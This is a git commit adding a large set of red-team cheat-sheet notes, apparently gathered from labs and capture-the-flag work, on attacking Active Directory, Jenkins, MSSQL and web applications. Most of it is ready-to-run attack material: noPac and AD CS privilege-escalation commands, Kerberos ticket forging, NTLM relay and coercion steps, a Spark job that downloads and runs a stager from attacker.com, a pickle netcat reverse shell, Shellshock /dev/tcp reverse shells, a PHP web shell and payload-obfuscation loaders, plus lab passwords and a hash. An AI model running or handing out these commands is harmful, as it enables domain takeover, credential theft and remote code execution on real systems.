first commit

2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
@@ -0,0 +1,55 @@
+- Recon
+	- `certipy find domain.local/user:[email protected] -enabled`
+
+- Shadow credentials
+	- Add Key Credentials to the **msDS-KeyCredentialLink** of a user, allowing authentication as that user through certificates
+	- Must have one of the following ACLs over the user:
+		- GenericAll
+		- GenericWrite
+		- AddKeyCredentialLink
+	- Procedure:
+		- Get a certificate
+			- `python3 /opt/pywhisker/pywhisker.py -u ValidUser -p ValidPass -d domain.local -t target --dc-ip <DC IP> --action add`
+				- https://github.com/ShutdownRepo/pywhisker
+		- Get a TGT
+			- `python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass $passwordFromAbove -dc-ip <DC IP> domain.local/target filename.ccache`
+				- https://github.com/dirkjanm/PKINITtools
+		- Set the ccache environment variable for Impacket
+			- `export KRB5CCNAME=filename.ccache`
+		- Get NT hash from TGT
+			- `python3 /opt/PKINITtools/getnthash.py domain.local/target -key <key from above> -dc-ip <DC IP>`
+
+- Privesc through misconfigured certificate templates
+	- Request a certificate
+		- `certipy req domain.local/user:[email protected] -ca <CA Name> -template <vulnerable template> -alt <domain admin acct>@domain.local' -out pwned`
+	- Authenticate and extract user's NT hash
+		- `certipy auth -pfx pwned.pfx -username <domain admin acct> -domain domain.local -dc-ip <DC IP>`
+
+- Privesc through Certificate Authority which allows rogue Subject Alternative Names (SANs)
+	- "EDITF_ATTRIBUTESUBJECTALTNAME2" config allows users to specify SANs when requesting certificates
+	- Effectively, any user can request a certificate as any other user
+	- Exploited the same way as above, but can be done on any template
+
+- NTLM Relay to AD CS HTTP Endpoints
+	- Certificate enrollment web interface at http://<ADCS_Server>/certsrv/ is vulnerable to Net-NTLM relay attack
+	- This allows attackers to use NTLM relay to to login and generate a certificate using the relayed user's creds
+	- When PKINIT auth is used, Kerberos provides user with the NT hash of the account for fallback to Net-NTLM auth, which means we can also use this to obtain the NT hash of the user.
+	- Exploitation:
+		- Initialize the relay
+			- `certipy relay -ca <CA_IP> -template DomainController`
+		- Coerce authentication
+			- `python3 /opt/PetitPotam/PetitPotam.py -d domain.local <attacker_IP> <target_DC_IP>`
+		- Auth with the certificate
+			- `certipy auth -pfx dc.pfx -dc-ip <DC_IP>`
+		- DCSync
+			- `cme smb <target_DC>.domain.local -u <DC_machine_acct> -H <NT_hash> --ntds`
+
+- NTAuthCertificates
+	- LDAP object: `(CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=rlyeh,DC=com)`
+	- Add new CA certificate to this object (allows it to be trusted for auth):
+		- `certutil.exe -dspublish -f C:\rogue.crt NTAuthCA`
+
+- Golden certificates:
+	1. Get the CA cert and key: `certipy ca -backup -ca 'cthulhu-CA'`
+	2. Forge certificates: `certipy forge -ca-pfx cth.pfx [cert options]`
+
@@ -0,0 +1,42 @@
+- CrackMapExec
+	- `cme smb <target> –u ValidUser –p ValidPass --sam`
+		- Dumps the SAM file - local users only (not domain)
+	- `cme smb <target> –u ValidUser –p ValidPass --lsa`
+		- Dump LSA secrets from the registry - includes Domain Cached Credentials
+- Checking BloodHound data for credentials in user descriptions
+	- `cat <bloodhound_user_json_file> | jq '.data[].Properties | select(.enabled == true) | .name + " " + .description'`
+- Extracting Jenkins credentials from script console
+```Groovy
+/* All Credentials */
+import jenkins.*
+import jenkins.model.* 
+import hudson.*
+import hudson.model.*
+def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
+        com.cloudbees.plugins.credentials.Credentials.class,
+        Jenkins.instance,
+        null,
+        null
+);
+for (creds in jenkinsCredentials) {
+    println(jenkinsCredentials.id)
+    }
+
+/* Specific Credentials */
+import jenkins.*
+import jenkins.model.* 
+import hudson.*
+import hudson.model.*
+def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
+        com.cloudbees.plugins.credentials.Credentials.class,
+        Jenkins.instance,
+        null,
+        null
+);
+for (creds in jenkinsCredentials) {
+  if(creds.id == "<credential_id>"){
+    println(creds.<variable_name_suchas_username>)
+    println(creds.<variable_name_suchas_password>)
+    }
+}
+```
@@ -0,0 +1,24 @@
+- Resource-Based Constrained Delegation
+	- msDS-AllowedToActOnBehalfOfOtherIdentity - Property on an AD object that allows what users or computers have rights to delegate to that object.
+		- Only accounts with SPNs, like machine accounts created by domain users, allowed to be added to this property
+	- Prerequisites:
+		- No LDAP signing on DCs
+			- `cme ldap –u ValidUser –p ValidPass –M ldap-signing`
+		- Account with a SPN that can be added to msDS-AllowedToActOnBehalfOfOtherIdentity
+			- Check: `cme smb –u ValidUser –p ValidPass –M maq`
+		- Need a way to coerce authentication (printerbug, petitpotam, etc.)
+	- Exploitation:
+		- Add machine account (with a SPN)
+			- `impacket-addcomputer -computer-name 'uniqueName' -dc-ip <DC_IP> domain/user:password`
+		- Add DNS record to force HTTP authentication
+			- `python3 /opt/krbrelayx/dnstool.py -u domain.local\\ValidUser -p ValidPass -a add -r <new_unique_DNS_name> -d <attacker_IP> <DC IP>`
+		- Start NTLM Relay
+			- `impacket-ntlmrelayx -t ldaps://dc01.domain.local -wh <attacker_IP> --delegate-access --escalate-user <owned_account_with_a_SPN> --no-dump --no-acl --no-da --no-validate-privs`
+		- Coerce authentication
+			- `python3 /opt/krbrelayx/printerbug.py domain.local/ValidUser:ValidPass@remoteHost <added_DNS_record>@80/fakepath`
+		- Request a TGS to impersonate a domain admin on the target host
+			- `impacket-getST -spn cifs/remoteHost.domain.local -impersonate <Domain_Admin> domain.local/ValidUser:ValidPass -dc-ip <DC_IP>`
+		- Set the ccache environment variable for impacket
+			- `export KRB5CCNAME=<Domain_Admin>.ccache`
+		- DCSync to dump hashes
+			- `impacket-secretsdump -k -no-pass remoteHost.domain.local`
@@ -0,0 +1,34 @@
+- Cerbero
+	- `cerbero ask -u contoso.local/Anakin --aes ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e -k 192.168.100.2 -vv`
+- Silver Ticket services
+	- psexec - CIFS
+	- winrm - HOST & HTTP
+	- dcsync (DC only) - LDAP
+- Kerberoast/ASREPRoast (with CME)
+	- `crackmapexec ldap –u ValidUser –p ValidPass –kerberoast targets.txt`
+	- `crackmapexec ldap dc.domain.local -u ValidUser -p ValidPass --asreproast targets.txt`
+- NoPAC - CVE-2021-42278 and CVE-2021-42287
+	- Breakdown
+		- Create a new computer account with any name
+			- Requires SeMachineAccountPrivilege - by default all domain users can create up to 10 machine accounts
+		- Clear the SPNs
+		- Change the name to mimic the SamAccountName of a Domain Controller (without the "$")
+		- Request TGT for the machine account
+		- Change name of computer back to its original value
+		- Request TGS for the LDAP service using the TGT
+			- Account name no longer exists - Kerberos will append a "$" and now the name will match the DC
+		- DCSync
+	- Exploitation
+		- `python noPac.py domain.local/username:password -dc-ip <DC IP> -dc-host <DC name> --impersonate <user to impersonate> -dump`
+			- https://github.com/Ridter/noPac
+			- OPSEC - remember to delete the machine account after execution
+
+- Dominance Tickets
+	- Golden Tickets
+		- Mimikatz: `kerberos::golden /user:<user> /domain:<FQDN> /sid:<domain SID> /krbtgt:<NTLM hash> /ticket:golden.kirbi`
+	- Silver Tickets
+		- Rubeus: `Rubeus.exe silver /service:<SPN> /aes256:<preferred, but can use RC4> /user:<user> /domain:rlyeh.local /sid:<user SID>`
+	- Diamond Tickets
+		- Rubeus: `Rubeus.exe diamond /tgtdeleg /ticketuser:<user> /ticketuserid:<uid> /groups:<rid> /krbkey:<krbtgt>`
+	- Sapphire Tickets
+		- Impacket: `ticketer.py -request -user lowpriv -password 'pwd123' -impersonate administrator -domain rlyeh.local -domain-sid <sid> -aesKey <key> Administrator`
@@ -0,0 +1,7 @@
+- PrinterBug - Induce authentication from any one machine on the network to any other
+	- `python3 /opt/krbrelayx/printerbug.py domain.local/user:password@target <targetIP>`
+- PetitPotam Authentication Coercion
+	- Microsoft Encrypting File System Remote Protocol (MS-EFSR) allows AD server to remotely manage encrypted information using RPC
+	- Can connect to a server unauthenticated and force it to open an "encrypted file" on your machine, thus forcing it to authenticate to you.
+	- Exploitation:
+		- `python /opt/PetitPotam/petitpotam.py <responder_IP> <target> -pipe all`
@@ -0,0 +1,16 @@
+- Through Cobalt Strike:
+	- https://github.com/praetorian-inc/PortBender
+- Through .NET
+	- https://github.com/Kevin-Robertson/InveighZero
+- MITM6 - Spoof IPv6 and relay requests to targets
+	- `mitm6 -d <domain.local>`
+	- `ntlmrelayx.py -6 -wh 192.168.1.1 -t smb://192.168.1.2 -l ~/tmp/`
+		- `-6` specifies ipv6, `-wh` specifies where the WPAD file is hosted at (your IP usually). `-t` specifies the target, or destination where the credentials will be relayed. `-l` is to where to store the loot.
+- Generate list of relay targets (SMB signing disabled)
+	- `cme smb scope.txt --gen-relay-list relay.txt`
+- Basic NTLM Relay
+	- `impacket-ntlmrelayx -t <target> -smb2support`
+	- With targets file
+		- `impacket-ntlmrelayx -tf relay.txt -smb2support`
+
+- NTLM Relay to AD CS HTTP Endpoints - see ADCS section
@@ -0,0 +1,114 @@
+# attacking machines with noPac exploit #
+# logic
+        spoof a workstation account to request a ticket for a domain admin with no pack
+                * pack is the part of a ticket that contains user information
+
+        (Pac = "Privileged Attribute Certificate")
+
+        % if vuln able to impersonate a admin a DCSYNC the target
+
+% only need a set of valid domain creds to sploit
+
+-----------------------------------------------------------------------------------
+# setup
+
+% exploit code
+        git clone https://github.com/WazeHell/sam-the-admin.git
+
+{%%} performing the noPac attack (THM: RazorBlack)
+
+        sudo python3 sam_the_admin.py -dc-ip <rhost-ip> <domain-name>/<username>:<password>
+        sudo python3 sam_the_admin.py -dc-ip 10.10.152.25 raz0rblack.thm/twilliams:roastpotatoes
+
+* make sure you include tne netbios/hostname of the box for the highest priv user
+        proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 -dc-host DC-SRV01 holo.live/watamet:Nothingtoworry!
+
+% get a shell with the impacket-smb command or a other like wmiexec, psexec, etc
+
+        KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@10.10.152.25
+
+* needs to be modified because of the extra domain
+
+        KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@10.10.152.25
+
+        KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass -dc-ip 10.10.152.25 raz0rblack.thm/twilliams:roastpotatoes@haven-dc.raz0rblack.thm
+        KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@haven-dc.raz0rblack.thm
+
+{what worked for me after adding the netbios hostname and domain name to the /etc/hosts file}
+
+        KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -dc-ip 10.10.21.231 -k -no-pass raz0rblack.thm/Administrator@haven-dc.raz0rblack.thm
+
+=-=-=-=-=-=-=-=------------=-=-=-=-=-=-=-=-=-=
+% if it fails
+
+1. attempt a time sync
+        sudo apt install ntpdate -y
+
+        sudo ntpdate <rhost-ip>
+        sudo ntpdate 10.10.152.25
+
+---------------------------------------------------------------------------------------------
+# clean up after the fact (just delete the user that was created to impersonate administrator
+% account creaated
+        SAMTHEADMIN-39$:CxP)O@kQyHqW
+
+% how to figure out that account is still there
+        1. rid-cycling
+
+                crackmapexec smb 10.10.85.161 -u twilliams -p roastpotatoes --rid-brute
+
+% how to remove account //{!}\\ by using impacket (addcomputer.py) to remove the machine account
+
+        impacket-addcomputer -dc-ip 10.10.104.115 -computer-name 'SAMTHEADMIN-55$' -dc-host HAVEN-DC -domain-netbios raz0rblack.thm 'raz0rblack.thm/oreo:P@ssw0rd' -delete
+
+{/!\} check to make sure the ticket still works after the account SAMTHEADMIN account has been removed
+        KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -dc-ip 10.10.104.115 -k -no-pass raz0rblack.thm/Administrator@haven-dc.raz0rblack.thm
+
+        * yes still works pog
+
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------
+# 0r just use Alh4zr3d version which auto deletes it
+        git clone https://github.com/Alh4zr3d/sam-the-admin.git
+
+        proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 holo.live/watamet:Nothingtoworry!
+        proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 -dc-host DC-SRV01 holo.live/watamet:Nothingtoworry!
+
+        export KRB5CCNAME='a-fubukis.ccache'
+        proxychains impacket-wmiexec -dc-ip 10.200.151.30 -k -no-pass holo.live/a-fubukis@10.200.151.30
+
+{!} problems with same the admin
+        * some networks return this authentication error
+        [-] Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
+
+                * since you can't select what user to impersonate
+                        there is a change that the ticket you get is for a user who may not be able to authenticate
+
+---------------------------\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\================================-----------------------
+# or a more automated version of noPac from this repo ;'..;' https://github.com/Ridter/noPac.git
+        git clone https://github.com/Ridter/noPac.git
+
+% how use it (defaults)
+{auto shell}
+        python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator
+
+        proxychains python3 noPac.py -use-ldap holo.live/watamet:Nothingtoworry! -dc-ip 10.200.151.30 -dc-host DC-SRV01 -shell --impersonate administrator
+        proxychains python3 noPac.py holo.live/watamet:Nothingtoworry! -dc-ip 10.200.151.30 -dc-host DC-SRV01 -shell --impersonate administrator
+
+% example from the holo network noPac attempt
+        python3 noPac.py -use-ldap -dc-ip <IP> <DOMAIN>/<USER>:<PASS> --impersonate administrator -dump
+
+1. domain into
+        [*] Windows 10.0 Build 17763 x64 (name:DC-SRV01) (domain:holo.live) (signing:False) (SMBv1:False)
+        watamet:Nothingtoworry!
+
+2. perform the attack over socks proxy
+        proxychians python3 noPac.py -use-ldap -dc-ip <IP> <DOMAIN>/<USER>:<PASS> --impersonate administrator -dump
+        proxychains python3 noPac.py -use-ldap -dc-ip 10.200.151.30 holo.live/watamet:Nothingtoworry! --impersonate administrator -dump
+
+        -use-ldap ("used when the server is running it's service with ssl")
+
+3. psexec in
+        proxychains impacket-wmiexec holo.live/Administrator@10.200.151.30 -hashes ae19656e1067231cb5e3c5dcea320bba:ae19656e1067231cb5e3c5dcea320bba
+
+0r
+        use the ticket it creates with a method above
@@ -0,0 +1,23 @@
+- Malicious Spark application - initializing Spark context
+```Python
+from pyspark import SparkContext, SparkConf
+# Set up configuration options
+conf = SparkConf()
+conf = conf.setAppName("Word Count")
+# Add the IP of the Spark master
+conf = conf.setMaster("spark://<master_IP>:7077")
+# Add the IP of the Jenkins worker we are currently on
+conf = conf.set("spark.driver.host", "<worker_IP>")
+# Initialize the Spark context with the necessary info to reach the master
+sc = SparkContext(conf = conf)
+partList = sc.parallelize(range(0, 1))
+finalList = partList.map(
+	lambda x: subprocess.Popen(
+        "wget https://attacker.com/stager &&  chmod +x ./stager && ./stager &",
+        shell=True,
+        preexec_fn=os.setpgrp,
+    )
+)
+finalList.collect()
+time.sleep(10)
+```
@@ -0,0 +1,22 @@
+- Machine registration
+	1. Create `client.rb` and `validation.pem`
+		- The former defines variables Chef needs to set up a new machine and the latter is the `chef-validator` private key
+	2. `apt update && apt install -y chef`
+	3. `chef-client`
+	4. `ls /etc/chef`
+- Configure the `knife` utility
+	-  `~/.chef/knife.rb`
+```Ruby
+node_name 'aws-node-78ec.eu-west-1.compute.internal'
+client_key '/etc/chef/client.pem'
+chef_server_url 'https://chef.mxrads.net/organizations/mxrads'
+knife[:editor] = '/usr/bin/vim'
+```
+
+- Explore Chef cookbooks
+	- List
+		- `knife cookbooks list`
+	- Display cookbook version history
+		- `knife cookbooks show <cookbook_name>`
+	- Display specific cookbook
+		- `knife cookbooks show <cookbook_name> <version>`
@@ -0,0 +1,6 @@
+- Get a list of indices
+	- `curl "<IP>:9200/_cat/indices?v"`
+- Extract last bit of data from given index
+	- `curl "<IP>:9200/<index_name>>/_search?pretty&size=4"`
+- Search for keywords in index
+	- `curl "<IP>:9200/<index_name>/_search?pretty&size=12&q=message:<search_string>"`
@@ -0,0 +1,25 @@
+- PowerUpSQL
+	- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433'`
+	- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433' -Query 'select @@version' | select Instance, CustomQuery | % { $_ | Add-Member NoteProperty 'QueryResult' $($_.CustomQuery[0]); $_ } | fl`
+- Queries:
+	- `SELECT @@version`
+	- `SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'`
+	- `EXEC xp_cmxp_cmdshell dshell 'dir C:\'`
+	- List databases
+		- `SELECT name,database_id,create_date from sys.databases`
+	- List db admins
+		- `SELECT name,type_desc,is_disabled,create_date FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1 ORDER BY name`
+	- Enable xp_cmdshell:
+		- `sp_configure 'Show Advanced Options', 1; RECONFIGURE;`
+		- `sp_configure 'xp_cmdshell', 1; RECONFIGURE`
+	- Use xp_dirtree (with Responder)
+		- `EXEC master.sys.xp_dirtree '\\10.10.14.12\CTHULHUFHTAGN',1,1`
+	- Discover linked databases:
+		- `SELECT * FROM master..sysservers`
+	- Execute queries on linked databases:
+		- `SELECT * FROM OPENQUERY("SQL02.DEV.ZEROPOINTSECURITY.CO.UK", 'select * FROM master..sysservers')`
+		- `EXEC('xp_cmdshell "dir C:\"') AT [sql02.dev.zeropointsecurity.co.uk]`
+		- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select * from sys.configurations where name = ''xp_cmdshell''')`
+		- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select @@servername; exec xp_cmdshell ''whoami''')`
+	- Search for specific keywords in databases and format results into table
+		- `Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ? { $_.Status -eq 'Accessible' } | Get-SQLColumnSampleDataThreaded -SampleSize 5 -Keywords 'student,name' -NoDefaults | select instance, database, column, sample | ft -autosize`
@@ -0,0 +1,2 @@
+- Get tables and columns
+	- `psql -h <host> -U root -d <db_name> -p 543-c "SELECT tablename, columnname FROM PG_TABLE_DEF where schemaname ='public'"`
@@ -0,0 +1,6 @@
+- List all keys in the database
+	- `redis -h <IP> --scan *`
+- Get value of a given key
+	- `redis -h <IP> get <key_name>`
+- Set value of a given key
+	- `redis -h 10.59.12.47 set <key> <value>`
@@ -0,0 +1,23 @@
+- Donut
+	- `EXCELntDonut -f CSRunner.cs --sandbox --obfuscate`
+	- Convert EXE (such as from Scarecrow) into PIC shellcode)
+		- `./donut -a 2 -f 7 -o donut\_payload.bin cmd.exe`
+- BananaPhone
+	- Generate 64-bit C# stager in Cobalt Strike
+	- `cd BananaPhone/example/hideexample/banana`
+	- `go generate .`
+	- Copy byte array from stager into main.go
+	- `env GOOS=windows GOARCH=amd64 go build -ldflags -H=windowsgui`
+- Scarecrow
+	- JavaScript
+		- `./ScareCrow -I beacon.bin -Loader control -O access.js -domain test.com`
+	- EXE
+		- `./ScareCrow -I payload64.bin -Loader binary -domain acme.com`
+- xeca
+	- Save Powershell payload as a .ps1 file
+	- `xeca powershell --payload cthulhu.ps1 --url http://attacker.ip
+	- Execute "launch.txt", will call back to attacker for encryption key
+- Limelighter
+- Tiki Torch
+- CactusTorch
+- Sharpshooter
@@ -0,0 +1,11 @@
+- Break MS Word parent-child releationship 
+	```VBScript
+	Dim proc As Object
+	Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
+	proc.Create "powershell"
+	```
+
+- Embedding hidden iframe in phishing page
+```HTML
+<iframe src="<URI/URL>" width="0" height="0" frameborder="0" tabindex="-1" title="empty" style=visibility:hidden;display:none"> </iframe>
+```
@@ -0,0 +1,5 @@
+- Potatoes
+	- Rogue Potato
+		- `.\RoguePotato.exe -r <attacker IP> -e "cmd.exe /c powershell -enc <base64 encoded powershell> -l 9999`
+			- Might have to look up a CLSID and add a `-c “{<CLSID>}"`
+	- https://github.com/CCob/SweetPotato
@@ -0,0 +1,13 @@
+- Python
+	```Python
+	import pickle
+	import sys
+	import base64
+	command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ' '/bin/sh -i 2>&1 | netcat **10.10.10.10 4444** > /tmp/f' 
+	class rce(object):
+	  def __reduce__(self): 
+	    import os 
+		return (os.system,(command,))
+	print(base64.b64encode(pickle.dumps(rce())))
+	```
+
@@ -0,0 +1,5 @@
+- WFuzz
+	- Fuzz POST params with file wordlist, colors, and hiding 0-word responses
+		- `wfuzz -c -z file,date-wordlist.txt -d "date=FUZZ" --hw 0 -u http://10.10.62.67/api/site-log.php`
+	- Fuzz subdomains via host header
+		- `wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -u 'http://rocket.thm' -H "Host: FUZZ.rocket.thm" --hw 28`
@@ -0,0 +1,11 @@
+- Injection vulnerability omnibuses
+```
+dddd",'|&$;:`({{@<%=ddd
+```
+
+- Shellshock
+	- `curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" TARGETADDRESS/cgi-bin/status`
+	- `curl -x 192.168.28.167:PORT -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.28.169/1234 0>&1" 192.168.28.167/cgi-bin/status`
+	- `ssh username@IPADDRESS '() { :;}; /bin/bash'`
+- RCE where no spaces are allowed (python required)
+	- `python3$IFS-c'print(b"wget\x20http://my-malware".decode())'|bash`
@@ -0,0 +1,17 @@
+- Web shell:
+	- `<?php echo “Cthulhu fhtagn!”; system($_REQUEST['boop']); ?>`
+- Get first handful of bytes from JPG or GIF for use as magic bytes:
+	- `head -c 20 <any image file> > magicbytes`
+	- `cat magicbytes shell.php > magical-shell.php`
+- Upload reverse shell via PHP code execution:
+	- `<?php file_put_contents('shell.php', file_get_contents('http://<attacker IP>/shell.php')); ?>`
+	- `curl -A "<?php file_put_contents('shell.php', file_get_contents('http:/<attacker ip>/shell.php')); ?>" -s http://<target>`
+- Filters
+	- `http://10.10.40.31/?view=php://filter/read=convert.base64-encode/resource=./dog/../index`
+	- RCE - [Filter Chain Generation Tool](https://github.com/synacktiv/php_filter_chain_generator)
+		- `<?= exec($_GET[0]); ?>`
+		```
+		php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/var/www/html/development_testing/mrrobot.php&0=id
+		```
+
+
@@ -0,0 +1,18 @@
+- SQLMap
+	- Crawl scan
+		- `sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3`
+		- `sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3`
+	- Targetted scan
+		- `sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"`
+	- Scan url for union + error based injection with mysql backend and use a random user agent + database dump
+		- `sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump`
+	- Check form for inj
+		- `sqlmap -o -u "http://meh.com/form/" –forms`
+	- Dump and crack hashes for table "users" on "database-name"
+		- `sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users –dump`
+	- Flush session
+		- `sqlmap --flush session`
+	- Exploit "user" field using boolean technique
+		- `sqlmap -p user --technique=B`
+	- Test specific request saved using Burp
+		- `sqlmap -r <captured request>`
@@ -0,0 +1,14 @@
+- Flowchart to fingerprint underlying templating engine through successive payloads
+![[Pasted image 20230906000448.png|center]]
+
+- Jinja2
+	- Get information about Python environment
+		- `{{request.environ}}`
+	- Regress to base `object` class
+		- `{{request.__class__.__base__.__base__}}`
+	- List all loaded top classes
+		1. `{{request.__class__.__base__.__base__.__subclasses__()}}`
+		2. Note interesting top classes, such as `os.system` and `subprocess.Popen`
+		3. Determine their count for the following
